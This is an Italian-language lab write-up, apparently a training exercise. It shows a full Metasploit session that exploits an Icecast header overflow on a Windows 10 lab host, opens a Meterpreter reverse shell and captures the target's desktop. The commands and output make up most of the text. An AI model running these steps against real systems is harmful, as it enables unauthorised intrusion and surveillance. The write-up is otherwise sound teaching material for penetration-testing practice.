

L'obiettivo di questo esercizio è ottenere una sessione Meterpreter su una macchina Windows 10 sfruttando una vulnerabilità presente nel software Icecast utilizzando il framework Metasploit. Successivamente, tramite la sessione Meterpreter, si richiede di:

- Per prima cosa ho avviato la metasploit con il comando `msfconsole`

[illegible]

Con options ho visto i dati mancanti e ho impostato con **set Rhosts** l'IP della macchina target e ho avviato l'exploit con **run**.

```
msf6 > search icecast

Matching Modules

| # | Name                                | Disclosure Date | Rank  | Check | Description              |
|---|-------------------------------------|-----------------|-------|-------|--------------------------|
| 0 | exploit/windows/http/icecast_header | 2004-09-28      | great | No    | Icecast Header Overwrite |

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 8000            | yes      | The target port (TCP)                                                                                  |

Payload options (windows/meterpreter/reverse_tcp):

| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.25    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |

Exploit target:

| Id | Name      |
|----|-----------|
| 0  | Automatic |

msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (177734 bytes) to 192.168.1.26
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.26:49450) at 2024-12-20 06:32:32 -0500

meterpreter > ipconfig

meterpreter > screenshot
Screenshot saved to: /home/kali/XwVTWkJB.jpeg
```

Con ipconfig visualizzo l'indirizzo IP e con screenshot catturo l'immagine del desktop della macchina target.
